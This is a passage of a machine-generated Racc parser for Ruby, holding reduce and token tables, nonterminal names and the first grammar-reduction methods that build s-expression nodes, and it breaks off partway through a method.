1, 172, :_reduce_98,
1, 172, :_reduce_99,
4, 172, :_reduce_100,
3, 172, :_reduce_101,
3, 172, :_reduce_102,
3, 172, :_reduce_103,
3, 172, :_reduce_104,
2, 172, :_reduce_105,
1, 172, :_reduce_106,
1, 201, :_reduce_107,
1, 201, :_reduce_none,
2, 202, :_reduce_109,
1, 202, :_reduce_110,
3, 202, :_reduce_111,
1, 203, :_reduce_none,
1, 203, :_reduce_none,
1, 203, :_reduce_none,
1, 203, :_reduce_115,
1, 203, :_reduce_116,
1, 206, :_reduce_none,
1, 206, :_reduce_none,
1, 161, :_reduce_119,
1, 161, :_reduce_none,
1, 162, :_reduce_121,
0, 209, :_reduce_122,
4, 162, :_reduce_123,
1, 204, :_reduce_none,
1, 204, :_reduce_none,
1, 204, :_reduce_none,
1, 204, :_reduce_none,
1, 204, :_reduce_none,
1, 204, :_reduce_none,
1, 204, :_reduce_none,
1, 204, :_reduce_none,
1, 204, :_reduce_none,
1, 204, :_reduce_none,
1, 204, :_reduce_none,
1, 204, :_reduce_none,
1, 204, :_reduce_none,
1, 204, :_reduce_none,
1, 204, :_reduce_none,
1, 204, :_reduce_none,
1, 204, :_reduce_none,
1, 204, :_reduce_none,
1, 204, :_reduce_none,
1, 204, :_reduce_none,
1, 204, :_reduce_none,
1, 204, :_reduce_none,
1, 204, :_reduce_none,
1, 204, :_reduce_none,
1, 204, :_reduce_none,
1, 204, :_reduce_none,
1, 204, :_reduce_none,
1, 204, :_reduce_none,
1, 204, :_reduce_none,
1, 204, :_reduce_none,
1, 205, :_reduce_none,
1, 205, :_reduce_none,
1, 205, :_reduce_none,
1, 205, :_reduce_none,
1, 205, :_reduce_none,
1, 205, :_reduce_none,
1, 205, :_reduce_none,
1, 205, :_reduce_none,
1, 205, :_reduce_none,
1, 205, :_reduce_none,
1, 205, :_reduce_none,
1, 205, :_reduce_none,
1, 205, :_reduce_none,
1, 205, :_reduce_none,
1, 205, :_reduce_none,
1, 205, :_reduce_none,
1, 205, :_reduce_none,
1, 205, :_reduce_none,
1, 205, :_reduce_none,
1, 205, :_reduce_none,
1, 205, :_reduce_none,
1, 205, :_reduce_none,
1, 205, :_reduce_none,
1, 205, :_reduce_none,
1, 205, :_reduce_none,
1, 205, :_reduce_none,
1, 205, :_reduce_none,
1, 205, :_reduce_none,
1, 205, :_reduce_none,
1, 205, :_reduce_none,
1, 205, :_reduce_none,
1, 205, :_reduce_none,
1, 205, :_reduce_none,
1, 205, :_reduce_none,
1, 205, :_reduce_none,
1, 205, :_reduce_none,
1, 205, :_reduce_none,
1, 205, :_reduce_none,
1, 205, :_reduce_none,
1, 205, :_reduce_none,
1, 205, :_reduce_none,
3, 178, :_reduce_195,
5, 178, :_reduce_196,
3, 178, :_reduce_197,
5, 178, :_reduce_198,
6, 178, :_reduce_199,
5, 178, :_reduce_200,
5, 178, :_reduce_201,
5, 178, :_reduce_202,
5, 178, :_reduce_203,
4, 178, :_reduce_204,
3, 178, :_reduce_205,
3, 178, :_reduce_206,
3, 178, :_reduce_207,
3, 178, :_reduce_208,
3, 178, :_reduce_209,
3, 178, :_reduce_210,
3, 178, :_reduce_211,
3, 178, :_reduce_212,
3, 178, :_reduce_213,
4, 178, :_reduce_214,
2, 178, :_reduce_215,
2, 178, :_reduce_216,
3, 178, :_reduce_217,
3, 178, :_reduce_218,
3, 178, :_reduce_219,
3, 178, :_reduce_220,
3, 178, :_reduce_221,
3, 178, :_reduce_222,
3, 178, :_reduce_223,
3, 178, :_reduce_224,
3, 178, :_reduce_225,
3, 178, :_reduce_226,
3, 178, :_reduce_227,
3, 178, :_reduce_228,
3, 178, :_reduce_229,
2, 178, :_reduce_230,
2, 178, :_reduce_231,
3, 178, :_reduce_232,
3, 178, :_reduce_233,
3, 178, :_reduce_234,
3, 178, :_reduce_235,
3, 178, :_reduce_236,
6, 178, :_reduce_237,
1, 178, :_reduce_none,
1, 212, :_reduce_239,
1, 213, :_reduce_none,
2, 213, :_reduce_241,
4, 213, :_reduce_242,
2, 213, :_reduce_243,
3, 217, :_reduce_244,
1, 218, :_reduce_none,
1, 218, :_reduce_none,
1, 169, :_reduce_247,
1, 169, :_reduce_248,
2, 169, :_reduce_249,
4, 169, :_reduce_250,
2, 169, :_reduce_251,
1, 191, :_reduce_252,
2, 191, :_reduce_253,
2, 191, :_reduce_254,
4, 191, :_reduce_255,
1, 191, :_reduce_256,
0, 221, :_reduce_257,
2, 184, :_reduce_258,
2, 220, :_reduce_259,
2, 219, :_reduce_260,
1, 219, :_reduce_none,
1, 214, :_reduce_262,
2, 214, :_reduce_263,
3, 214, :_reduce_264,
4, 214, :_reduce_265,
1, 174, :_reduce_266,
1, 174, :_reduce_267,
3, 173, :_reduce_268,
4, 173, :_reduce_269,
2, 173, :_reduce_270,
1, 211, :_reduce_none,
1, 211, :_reduce_none,
1, 211, :_reduce_none,
1, 211, :_reduce_none,
1, 211, :_reduce_none,
1, 211, :_reduce_none,
1, 211, :_reduce_none,
1, 211, :_reduce_none,
1, 211, :_reduce_none,
1, 211, :_reduce_none,
1, 211, :_reduce_281,
0, 244, :_reduce_282,
4, 211, :_reduce_283,
2, 211, :_reduce_284,
0, 245, :_reduce_285,
4, 211, :_reduce_286,
3, 211, :_reduce_287,
3, 211, :_reduce_288,
2, 211, :_reduce_289,
3, 211, :_reduce_290,
3, 211, :_reduce_291,
1, 211, :_reduce_292,
4, 211, :_reduce_293,
3, 211, :_reduce_294,
1, 211, :_reduce_295,
5, 211, :_reduce_296,
4, 211, :_reduce_297,
3, 211, :_reduce_298,
2, 211, :_reduce_299,
1, 211, :_reduce_none,
2, 211, :_reduce_301,
2, 211, :_reduce_302,
6, 211, :_reduce_303,
6, 211, :_reduce_304,
0, 246, :_reduce_305,
0, 247, :_reduce_306,
7, 211, :_reduce_307,
0, 248, :_reduce_308,
0, 249, :_reduce_309,
7, 211, :_reduce_310,
5, 211, :_reduce_311,
4, 211, :_reduce_312,
0, 250, :_reduce_313,
0, 251, :_reduce_314,
9, 211, :_reduce_315,
0, 252, :_reduce_316,
0, 253, :_reduce_317,
7, 211, :_reduce_318,
0, 254, :_reduce_319,
0, 255, :_reduce_320,
0, 256, :_reduce_321,
9, 211, :_reduce_322,
0, 257, :_reduce_323,
0, 258, :_reduce_324,
6, 211, :_reduce_325,
0, 259, :_reduce_326,
6, 211, :_reduce_327,
0, 260, :_reduce_328,
0, 261, :_reduce_329,
9, 211, :_reduce_330,
1, 211, :_reduce_331,
1, 211, :_reduce_332,
1, 211, :_reduce_333,
1, 211, :_reduce_334,
1, 168, :_reduce_335,
1, 262, :_reduce_none,
1, 263, :_reduce_none,
1, 264, :_reduce_none,
1, 265, :_reduce_none,
1, 266, :_reduce_none,
1, 267, :_reduce_none,
1, 268, :_reduce_none,
1, 269, :_reduce_none,
1, 270, :_reduce_none,
1, 271, :_reduce_none,
1, 272, :_reduce_none,
1, 235, :_reduce_none,
1, 235, :_reduce_none,
2, 235, :_reduce_none,
1, 237, :_reduce_none,
1, 237, :_reduce_none,
1, 236, :_reduce_none,
5, 236, :_reduce_353,
1, 158, :_reduce_none,
2, 158, :_reduce_355,
1, 239, :_reduce_none,
1, 239, :_reduce_357,
1, 273, :_reduce_none,
3, 273, :_reduce_359,
1, 276, :_reduce_360,
3, 276, :_reduce_361,
1, 275, :_reduce_362,
4, 275, :_reduce_363,
6, 275, :_reduce_364,
3, 275, :_reduce_365,
5, 275, :_reduce_366,
2, 275, :_reduce_367,
4, 275, :_reduce_368,
1, 275, :_reduce_369,
3, 275, :_reduce_370,
4, 277, :_reduce_371,
2, 277, :_reduce_372,
2, 277, :_reduce_373,
1, 277, :_reduce_374,
2, 282, :_reduce_375,
1, 282, :_reduce_none,
6, 283, :_reduce_377,
8, 283, :_reduce_378,
4, 283, :_reduce_379,
6, 283, :_reduce_380,
4, 283, :_reduce_381,
2, 283, :_reduce_382,
6, 283, :_reduce_383,
2, 283, :_reduce_384,
4, 283, :_reduce_385,
6, 283, :_reduce_386,
2, 283, :_reduce_387,
4, 283, :_reduce_388,
2, 283, :_reduce_389,
4, 283, :_reduce_390,
1, 283, :_reduce_391,
1, 186, :_reduce_none,
1, 186, :_reduce_none,
3, 287, :_reduce_394,
1, 287, :_reduce_395,
4, 287, :_reduce_396,
1, 288, :_reduce_none,
4, 288, :_reduce_398,
1, 289, :_reduce_399,
3, 289, :_reduce_400,
1, 290, :_reduce_401,
1, 290, :_reduce_none,
0, 294, :_reduce_403,
3, 234, :_reduce_404,
4, 292, :_reduce_405,
1, 292, :_reduce_406,
3, 293, :_reduce_407,
3, 293, :_reduce_408,
0, 297, :_reduce_409,
0, 298, :_reduce_410,
6, 296, :_reduce_411,
2, 181, :_reduce_412,
4, 181, :_reduce_413,
5, 181, :_reduce_414,
5, 181, :_reduce_415,
0, 300, :_reduce_416,
3, 233, :_reduce_417,
4, 233, :_reduce_418,
4, 233, :_reduce_419,
3, 233, :_reduce_420,
3, 233, :_reduce_421,
3, 233, :_reduce_422,
2, 233, :_reduce_423,
1, 233, :_reduce_424,
4, 233, :_reduce_425,
0, 301, :_reduce_426,
0, 302, :_reduce_427,
6, 232, :_reduce_428,
0, 303, :_reduce_429,
0, 304, :_reduce_430,
6, 232, :_reduce_431,
0, 306, :_reduce_432,
6, 238, :_reduce_433,
1, 305, :_reduce_none,
1, 305, :_reduce_none,
6, 157, :_reduce_436,
0, 157, :_reduce_437,
1, 307, :_reduce_438,
1, 307, :_reduce_none,
1, 307, :_reduce_none,
2, 308, :_reduce_441,
1, 308, :_reduce_none,
2, 159, :_reduce_443,
1, 159, :_reduce_none,
1, 222, :_reduce_445,
1, 222, :_reduce_446,
1, 222, :_reduce_none,
1, 223, :_reduce_448,
1, 310, :_reduce_449,
1, 310, :_reduce_none,
2, 310, :_reduce_451,
3, 311, :_reduce_452,
1, 311, :_reduce_453,
3, 224, :_reduce_454,
3, 225, :_reduce_455,
3, 226, :_reduce_456,
3, 226, :_reduce_457,
1, 315, :_reduce_458,
3, 315, :_reduce_459,
1, 316, :_reduce_none,
2, 316, :_reduce_461,
3, 228, :_reduce_462,
3, 228, :_reduce_463,
1, 318, :_reduce_464,
3, 318, :_reduce_465,
3, 227, :_reduce_466,
3, 227, :_reduce_467,
3, 229, :_reduce_468,
3, 229, :_reduce_469,
1, 319, :_reduce_470,
3, 319, :_reduce_471,
1, 320, :_reduce_472,
3, 320, :_reduce_473,
1, 312, :_reduce_474,
2, 312, :_reduce_475,
1, 313, :_reduce_476,
2, 313, :_reduce_477,
1, 314, :_reduce_478,
2, 314, :_reduce_479,
1, 317, :_reduce_480,
0, 322, :_reduce_481,
3, 317, :_reduce_482,
0, 323, :_reduce_483,
4, 317, :_reduce_484,
1, 321, :_reduce_485,
1, 321, :_reduce_486,
1, 321, :_reduce_487,
1, 321, :_reduce_none,
2, 207, :_reduce_489,
1, 207, :_reduce_490,
1, 324, :_reduce_none,
1, 324, :_reduce_none,
1, 324, :_reduce_none,
1, 324, :_reduce_none,
3, 208, :_reduce_495,
1, 309, :_reduce_none,
2, 309, :_reduce_497,
1, 210, :_reduce_none,
1, 210, :_reduce_none,
1, 210, :_reduce_none,
1, 210, :_reduce_none,
1, 199, :_reduce_none,
1, 199, :_reduce_none,
1, 199, :_reduce_none,
1, 199, :_reduce_none,
1, 199, :_reduce_none,
1, 200, :_reduce_507,
1, 200, :_reduce_508,
1, 200, :_reduce_509,
1, 200, :_reduce_510,
1, 200, :_reduce_511,
1, 200, :_reduce_512,
1, 200, :_reduce_513,
1, 230, :_reduce_514,
1, 230, :_reduce_515,
1, 167, :_reduce_516,
1, 167, :_reduce_517,
1, 171, :_reduce_518,
1, 171, :_reduce_519,
1, 240, :_reduce_520,
0, 325, :_reduce_521,
4, 240, :_reduce_522,
2, 240, :_reduce_523,
3, 242, :_reduce_524,
2, 242, :_reduce_525,
4, 326, :_reduce_526,
2, 326, :_reduce_527,
2, 326, :_reduce_528,
1, 326, :_reduce_none,
2, 328, :_reduce_530,
0, 328, :_reduce_531,
6, 295, :_reduce_532,
8, 295, :_reduce_533,
4, 295, :_reduce_534,
6, 295, :_reduce_535,
4, 295, :_reduce_536,
6, 295, :_reduce_537,
2, 295, :_reduce_538,
4, 295, :_reduce_539,
6, 295, :_reduce_540,
2, 295, :_reduce_541,
4, 295, :_reduce_542,
2, 295, :_reduce_543,
4, 295, :_reduce_544,
1, 295, :_reduce_545,
0, 295, :_reduce_546,
1, 291, :_reduce_547,
1, 291, :_reduce_548,
1, 291, :_reduce_549,
1, 291, :_reduce_550,
1, 274, :_reduce_none,
1, 274, :_reduce_552,
1, 330, :_reduce_none,
3, 330, :_reduce_554,
1, 284, :_reduce_555,
3, 284, :_reduce_556,
1, 331, :_reduce_none,
2, 332, :_reduce_558,
1, 332, :_reduce_559,
2, 333, :_reduce_560,
1, 333, :_reduce_561,
1, 278, :_reduce_none,
3, 278, :_reduce_563,
1, 327, :_reduce_none,
3, 327, :_reduce_565,
1, 334, :_reduce_none,
1, 334, :_reduce_none,
2, 279, :_reduce_568,
1, 279, :_reduce_569,
3, 335, :_reduce_570,
3, 336, :_reduce_571,
1, 285, :_reduce_572,
3, 285, :_reduce_573,
1, 329, :_reduce_574,
3, 329, :_reduce_575,
1, 337, :_reduce_none,
1, 337, :_reduce_none,
2, 286, :_reduce_578,
1, 286, :_reduce_579,
1, 338, :_reduce_none,
1, 338, :_reduce_none,
2, 281, :_reduce_582,
2, 280, :_reduce_583,
0, 280, :_reduce_584,
1, 243, :_reduce_none,
0, 339, :_reduce_586,
4, 243, :_reduce_587,
1, 231, :_reduce_588,
2, 231, :_reduce_589,
1, 216, :_reduce_none,
3, 216, :_reduce_591,
3, 340, :_reduce_592,
2, 340, :_reduce_593,
2, 340, :_reduce_594,
1, 190, :_reduce_none,
1, 190, :_reduce_none,
1, 190, :_reduce_none,
1, 183, :_reduce_none,
1, 183, :_reduce_none,
1, 183, :_reduce_none,
1, 183, :_reduce_none,
1, 299, :_reduce_none,
1, 299, :_reduce_none,
1, 299, :_reduce_none,
1, 182, :_reduce_none,
1, 182, :_reduce_none,
0, 149, :_reduce_none,
1, 149, :_reduce_none,
0, 177, :_reduce_none,
1, 177, :_reduce_none,
2, 194, :_reduce_none,
2, 170, :_reduce_none,
0, 215, :_reduce_none,
1, 215, :_reduce_none,
1, 215, :_reduce_none,
1, 241, :_reduce_616,
1, 241, :_reduce_none,
1, 152, :_reduce_none,
2, 152, :_reduce_619,
0, 150, :_reduce_620 ]
racc_reduce_n = 621
racc_shift_n = 1047
racc_token_table = {
false => 0,
:error => 1,
:kCLASS => 2,
:kMODULE => 3,
:kDEF => 4,
:kUNDEF => 5,
:kBEGIN => 6,
:kRESCUE => 7,
:kENSURE => 8,
:kEND => 9,
:kIF => 10,
:kUNLESS => 11,
:kTHEN => 12,
:kELSIF => 13,
:kELSE => 14,
:kCASE => 15,
:kWHEN => 16,
:kWHILE => 17,
:kUNTIL => 18,
:kFOR => 19,
:kBREAK => 20,
:kNEXT => 21,
:kREDO => 22,
:kRETRY => 23,
:kIN => 24,
:kDO => 25,
:kDO_COND => 26,
:kDO_BLOCK => 27,
:kDO_LAMBDA => 28,
:kRETURN => 29,
:kYIELD => 30,
:kSUPER => 31,
:kSELF => 32,
:kNIL => 33,
:kTRUE => 34,
:kFALSE => 35,
:kAND => 36,
:kOR => 37,
:kNOT => 38,
:kIF_MOD => 39,
:kUNLESS_MOD => 40,
:kWHILE_MOD => 41,
:kUNTIL_MOD => 42,
:kRESCUE_MOD => 43,
:kALIAS => 44,
:kDEFINED => 45,
:klBEGIN => 46,
:klEND => 47,
:k__LINE__ => 48,
:k__FILE__ => 49,
:k__ENCODING__ => 50,
:tIDENTIFIER => 51,
:tFID => 52,
:tGVAR => 53,
:tIVAR => 54,
:tCONSTANT => 55,
:tLABEL => 56,
:tCVAR => 57,
:tNTH_REF => 58,
:tBACK_REF => 59,
:tSTRING_CONTENT => 60,
:tINTEGER => 61,
:tFLOAT => 62,
:tREGEXP_END => 63,
:tUPLUS => 64,
:tUMINUS => 65,
:tUMINUS_NUM => 66,
:tPOW => 67,
:tCMP => 68,
:tEQ => 69,
:tEQQ => 70,
:tNEQ => 71,
:tGEQ => 72,
:tLEQ => 73,
:tANDOP => 74,
:tOROP => 75,
:tMATCH => 76,
:tNMATCH => 77,
:tDOT => 78,
:tDOT2 => 79,
:tDOT3 => 80,
:tAREF => 81,
:tASET => 82,
:tLSHFT => 83,
:tRSHFT => 84,
:tCOLON2 => 85,
:tCOLON3 => 86,
:tOP_ASGN => 87,
:tASSOC => 88,
:tLPAREN => 89,
:tLPAREN2 => 90,
:tRPAREN => 91,
:tLPAREN_ARG => 92,
:tLBRACK => 93,
:tLBRACK2 => 94,
:tRBRACK => 95,
:tLBRACE => 96,
:tLBRACE_ARG => 97,
:tSTAR => 98,
:tSTAR2 => 99,
:tAMPER => 100,
:tAMPER2 => 101,
:tTILDE => 102,
:tPERCENT => 103,
:tDIVIDE => 104,
:tPLUS => 105,
:tMINUS => 106,
:tLT => 107,
:tGT => 108,
:tPIPE => 109,
:tBANG => 110,
:tCARET => 111,
:tLCURLY => 112,
:tRCURLY => 113,
:tBACK_REF2 => 114,
:tSYMBEG => 115,
:tSTRING_BEG => 116,
:tXSTRING_BEG => 117,
:tREGEXP_BEG => 118,
:tWORDS_BEG => 119,
:tQWORDS_BEG => 120,
:tSTRING_DBEG => 121,
:tSTRING_DVAR => 122,
:tSTRING_END => 123,
:tSTRING => 124,
:tSYMBOL => 125,
:tNL => 126,
:tEH => 127,
:tCOLON => 128,
:tCOMMA => 129,
:tSPACE => 130,
:tSEMI => 131,
:tLAMBDA => 132,
:tLAMBEG => 133,
:tDSTAR => 134,
:tCHAR => 135,
:tSYMBOLS_BEG => 136,
:tQSYMBOLS_BEG => 137,
:tSTRING_DEND => 138,
:tUBANG => 139,
:tRATIONAL => 140,
:tIMAGINARY => 141,
:tEQL => 142,
:tLOWEST => 143 }
racc_nt_base = 144
racc_use_result_var = true
Racc_arg = [
racc_action_table,
racc_action_check,
racc_action_default,
racc_action_pointer,
racc_goto_table,
racc_goto_check,
racc_goto_default,
racc_goto_pointer,
racc_nt_base,
racc_reduce_table,
racc_token_table,
racc_shift_n,
racc_reduce_n,
racc_use_result_var ]
Racc_token_to_s_table = [
"$end",
"error",
"kCLASS",
"kMODULE",
"kDEF",
"kUNDEF",
"kBEGIN",
"kRESCUE",
"kENSURE",
"kEND",
"kIF",
"kUNLESS",
"kTHEN",
"kELSIF",
"kELSE",
"kCASE",
"kWHEN",
"kWHILE",
"kUNTIL",
"kFOR",
"kBREAK",
"kNEXT",
"kREDO",
"kRETRY",
"kIN",
"kDO",
"kDO_COND",
"kDO_BLOCK",
"kDO_LAMBDA",
"kRETURN",
"kYIELD",
"kSUPER",
"kSELF",
"kNIL",
"kTRUE",
"kFALSE",
"kAND",
"kOR",
"kNOT",
"kIF_MOD",
"kUNLESS_MOD",
"kWHILE_MOD",
"kUNTIL_MOD",
"kRESCUE_MOD",
"kALIAS",
"kDEFINED",
"klBEGIN",
"klEND",
"k__LINE__",
"k__FILE__",
"k__ENCODING__",
"tIDENTIFIER",
"tFID",
"tGVAR",
"tIVAR",
"tCONSTANT",
"tLABEL",
"tCVAR",
"tNTH_REF",
"tBACK_REF",
"tSTRING_CONTENT",
"tINTEGER",
"tFLOAT",
"tREGEXP_END",
"tUPLUS",
"tUMINUS",
"tUMINUS_NUM",
"tPOW",
"tCMP",
"tEQ",
"tEQQ",
"tNEQ",
"tGEQ",
"tLEQ",
"tANDOP",
"tOROP",
"tMATCH",
"tNMATCH",
"tDOT",
"tDOT2",
"tDOT3",
"tAREF",
"tASET",
"tLSHFT",
"tRSHFT",
"tCOLON2",
"tCOLON3",
"tOP_ASGN",
"tASSOC",
"tLPAREN",
"tLPAREN2",
"tRPAREN",
"tLPAREN_ARG",
"tLBRACK",
"tLBRACK2",
"tRBRACK",
"tLBRACE",
"tLBRACE_ARG",
"tSTAR",
"tSTAR2",
"tAMPER",
"tAMPER2",
"tTILDE",
"tPERCENT",
"tDIVIDE",
"tPLUS",
"tMINUS",
"tLT",
"tGT",
"tPIPE",
"tBANG",
"tCARET",
"tLCURLY",
"tRCURLY",
"tBACK_REF2",
"tSYMBEG",
"tSTRING_BEG",
"tXSTRING_BEG",
"tREGEXP_BEG",
"tWORDS_BEG",
"tQWORDS_BEG",
"tSTRING_DBEG",
"tSTRING_DVAR",
"tSTRING_END",
"tSTRING",
"tSYMBOL",
"tNL",
"tEH",
"tCOLON",
"tCOMMA",
"tSPACE",
"tSEMI",
"tLAMBDA",
"tLAMBEG",
"tDSTAR",
"tCHAR",
"tSYMBOLS_BEG",
"tQSYMBOLS_BEG",
"tSTRING_DEND",
"tUBANG",
"tRATIONAL",
"tIMAGINARY",
"tEQL",
"tLOWEST",
"$start",
"program",
"top_compstmt",
"@1",
"top_stmts",
"opt_terms",
"none",
"top_stmt",
"terms",
"stmt",
"bodystmt",
"@2",
"compstmt",
"opt_rescue",
"opt_else",
"opt_ensure",
"stmts",
"fitem",
"undef_list",
"expr_value",
"command_asgn",
"mlhs",
"command_call",
"var_lhs",
"primary_value",
"opt_call_args",
"rbracket",
"backref",
"lhs",
"mrhs",
"mrhs_arg",
"expr",
"@3",
"opt_nl",
"arg",
"command",
"block_command",
"block_call",
"dot_or_colon",
"operation2",
"command_args",
"cmd_brace_block",
"opt_block_param",
"fcall",
"@4",
"@5",
"operation",
"call_args",
"mlhs_basic",
"mlhs_inner",
"rparen",
"mlhs_head",
"mlhs_item",
"mlhs_node",
"mlhs_post",
"user_variable",
"keyword_variable",
"cname",
"cpath",
"fname",
"op",
"reswords",
"fsym",
"symbol",
"dsym",
"@6",
"simple_numeric",
"primary",
"arg_value",
"aref_args",
"args",
"trailer",
"assocs",
"paren_args",
"opt_paren_args",
"opt_block_arg",
"block_arg",
"@7",
"literal",
"strings",
"xstring",
"regexp",
"words",
"qwords",
"symbols",
"qsymbols",
"var_ref",
"assoc_list",
"brace_block",
"method_call",
"lambda",
"then",
"if_tail",
"do",
"case_body",
"for_var",
"superclass",
"term",
"f_arglist",
"singleton",
"@8",
"@9",
"@10",
"@11",
"@12",
"@13",
"@14",
"@15",
"@16",
"@17",
"@18",
"@19",
"@20",
"@21",
"@22",
"@23",
"@24",
"@25",
"k_begin",
"k_if",
"k_unless",
"k_while",
"k_until",
"k_case",
"k_for",
"k_class",
"k_module",
"k_def",
"k_end",
"f_marg",
"f_norm_arg",
"f_margs",
"f_marg_list",
"block_args_tail",
"f_block_kwarg",
"f_kwrest",
"opt_f_block_arg",
"f_block_arg",
"opt_block_args_tail",
"block_param",
"f_arg",
"f_block_optarg",
"f_rest_arg",
"block_param_def",
"opt_bv_decl",
"bv_decls",
"bvar",
"f_bad_arg",
"f_larglist",
"lambda_body",
"@26",
"f_args",
"do_block",
"@27",
"@28",
"operation3",
"@29",
"@30",
"@31",
"@32",
"@33",
"cases",
"@34",
"exc_list",
"exc_var",
"numeric",
"string",
"string1",
"string_contents",
"xstring_contents",
"regexp_contents",
"word_list",
"word",
"string_content",
"symbol_list",
"qword_list",
"qsym_list",
"string_dvar",
"@35",
"@36",
"sym",
"@37",
"args_tail",
"f_kwarg",
"opt_args_tail",
"f_optarg",
"f_arg_item",
"f_label",
"f_kw",
"f_block_kw",
"kwrest_mark",
"f_opt",
"f_block_opt",
"restarg_mark",
"blkarg_mark",
"@38",
"assoc" ]
Racc_debug_parser = false
##### State transition tables end #####
# reduce 0 omitted
def _reduce_1(val, _values, result)
self.lexer.lex_state = :expr_beg
result
end
def _reduce_2(val, _values, result)
result = new_compstmt val
result
end
def _reduce_3(val, _values, result)
result = val[0]
result
end
# reduce 4 omitted
# reduce 5 omitted
def _reduce_6(val, _values, result)
result = self.block_append val[0], val[2]
result
end
# reduce 7 omitted
def _reduce_8(val, _values, result)
result = val[0]
# TODO: remove once I have more confidence this is fixed
# result.each_of_type :call_args do |s|
# debug20 666, s, result
# end
result
end
def _reduce_9(val, _values, result)
if (self.in_def || self.in_single > 0) then
debug20 1
yyerror "BEGIN in method"
end
self.env.extend
result
end
def _reduce_10(val, _values, result)
result = new_iter s(:preexe), nil, val[3]
result
end
def _reduce_11(val, _values, result)
result = new_body val
result
end
def _reduce_12(val, _values, result)
result = new_compstmt val
result
end
# reduce 13 omitted
# reduce 14 omitted
def _reduce_15(val, _values, result)
result = self.block_append val[0], val[2]
result
end
def _reduce_16(val, _values, result)
result = val[1]
debug20 2, val, result
result
end
def _reduce_17(val, _values, result)
lexer.lex_state = :expr_fname
result = self.lexer.lineno
result
end
def _reduce_18(val, _values, result)
result = s(:alias, val[1], val[3]).line(val[2])
result
end
def _reduce_19(val, _values, result)
result = s(:valias, val[1].to_sym, val[2].to_sym)
result
end
def _reduce_20(val, _values, result)
result = s(:valias, val[1].to_sym, :"$#{val[2]}")
result
end
def _reduce_21(val, _values, result)
yyerror "can't make alias for the number variables"
result
end
def _reduce_22(val, _values, result)
result = val[1]
result
end
def _reduce_23(val, _values, result)
result = new_if val[2], val[0], nil
result
end
def _reduce_24(val, _values, result)
result = new_if val[2], nil, val[0]
result
end
def _reduce_25(val, _values, result)
result = new_while val[0], val[2], true
result
end
def _reduce_26(val, _values, result)
result = new_until val[0], val[2], true
result
end
def _reduce_27(val, _values, result)
result = s(:rescue, val[0], new_resbody(s(:array), val[2]))
result
end
def _reduce_28(val, _values, result)
if (self.in_def || self.in_single > 0) then
debug20 3
yyerror "END in method; use at_exit"
end
result = new_iter s(:postexe), nil, val[2]
result
end
# reduce 29 omitted
def _reduce_30(val, _values, result)
result = new_masgn val[0], val[2], :wrap
result
end
def _reduce_31(val, _values, result)
result = new_op_asgn val
result
end
def _reduce_32(val, _values, result)
result = s(:op_asgn1, val[0], val[2], val[4].to_sym, val[5])
result
end
def _reduce_33(val, _values, result)
result = s(:op_asgn, val[0], val[4], val[2].to_sym, val[3].to_sym)
result
end
def _reduce_34(val, _values, result)
result = s(:op_asgn, val[0], val[4], val[2].to_sym, val[3].to_sym)
result
end
def _reduce_35(val, _values, result)
result = s(:op_asgn, val[0], val[4], val[2], val[3])
debug20 4, val, result
result
end
def _reduce_36(val, _values, result)
result = s(:op_asgn, val[0], val[4], val[2], val[3])
debug20 5, val, result
result
end
def _reduce_37(val, _values, result)
self.backref_assign_error val[0]
result
end
def _reduce_38(val, _values, result)
result = self.node_assign val[0], s(:svalue, val[2])
result
end
def _reduce_39(val, _values, result)
result = new_masgn val[0], val[2]
result
end
# reduce 40 omitted
def _reduce_41(val, _values, result)
result = self.node_assign val[0], val[2]
result
end
def _reduce_42(val, _values, result)
result = self.node_assign val[0], val[2]
result
end
# reduce 43 omitted
def _reduce_44(val, _values, result)
result = logop(:and, val[0], val[2])
result
end
def _reduce_45(val, _values, result)
result = logop(:or, val[0], val[2])
result
end
def _reduce_46(val, _values, result)
result = s(:call, val[2], :"!")
result
end
def _reduce_47(val, _values, result)
result = s(:call, val[1], :"!")
result
end
# reduce 48 omitted
def _reduce_49(val, _values, result)
result = value_expr(val[0])
result
end
# reduce 50 omitted
# reduce 51 omitted
# reduce 52 omitted
def _reduce_53(val, _values, result)
result = new_call val[0], val[2].to_sym, val[3]
result
end
def _reduce_54(val, _values, result)
self.env.extend(:dynamic)
result = self.lexer.lineno
result
end
def _reduce_55(val, _values, result)
result = nil # self.env.dynamic.keys
result
end
def _reduce_56(val, _values, result)
result = new_iter nil, val[2], val[4]
result.line = val[1]
self.env.unextend
result
end
def _reduce_57(val, _values, result)
result = new_call nil, val[0].to_sym
result
end
def _reduce_58(val, _values, result)
result = val[0].concat val[1][1..-1] # REFACTOR pattern
result
end
def _reduce_59(val, _values, result)
result = val[0].concat val[1][1..-1]
if val[2] then
block_dup_check result, val[2]
result, operation = val[2], result
result.insert 1, operation
end
result
end
def _reduce_60(val, _values, result)
result = new_call val[0], val[2].to_sym, val[3]
result
end
def _reduce_61(val, _values, result)
recv, _, msg, args, block = val
call = new_call recv, msg.to_sym, args
block_dup_check call, block
block.insert 1, call
result = block
result
end
def _reduce_62(val, _values, result)
result = new_call val[0], val[2].to_sym, val[3]
result
end
def _reduce_63(val, _values, result)
recv, _, msg, args, block = val
call = new_call recv, msg.to_sym, args
block_dup_check call, block
block.insert 1, call
result = block
result
end
def _reduce_64(val, _values, result)
result = new_super val[1]
result
end
def _reduce_65(val, _values, result)
result = new_yield val[1]
result
end
def _reduce_66(val, _values, result)
line = val[0].last
result = s(:return, ret_args(val[1])).line(line)
result
end
def _reduce_67(val, _values, result)
line = val[0].last
result = s(:break, ret_args(val[1])).line(line)
result
end
def _reduce_68(val, _values, result)
line = val[0].last
result = s(:next, ret_args(val[1])).line(line)
result
end
# reduce 69 omitted
def _reduce_70(val, _values, result)
result = val[1]
result
end
# reduce 71 omitted
def _reduce_72(val, _values, result)
result = s(:masgn, s(:array, val[1]))
result
end
def _reduce_73(val, _values, result)
result = s(:masgn, val[0])
result
end
def _reduce_74(val, _values, result)
result = s(:masgn, val[0] << val[1].compact)
result
end
def _reduce_75(val, _values, result)
result = s(:masgn, val[0] << s(:splat, val[2]))
result
end
def _reduce_76(val, _values, result)
ary1, _, splat, _, ary2 = val
result = list_append ary1, s(:splat, splat)
result.concat ary2[1..-1]
result = s(:masgn, result)
result
end
def _reduce_77(val, _values, result)
result = s(:masgn, val[0] << s(:splat))
result
end
def _reduce_78(val, _values, result)
ary = list_append val[0], s(:splat)
ary.concat val[3][1..-1]
result = s(:masgn, ary)
result
end
def _reduce_79(val, _values, result)
result = s(:masgn, s(:array, s(:splat, val[1])))
result
end
def _reduce_80(val, _values, result)
ary = s(:array, s(:splat, val[1]))
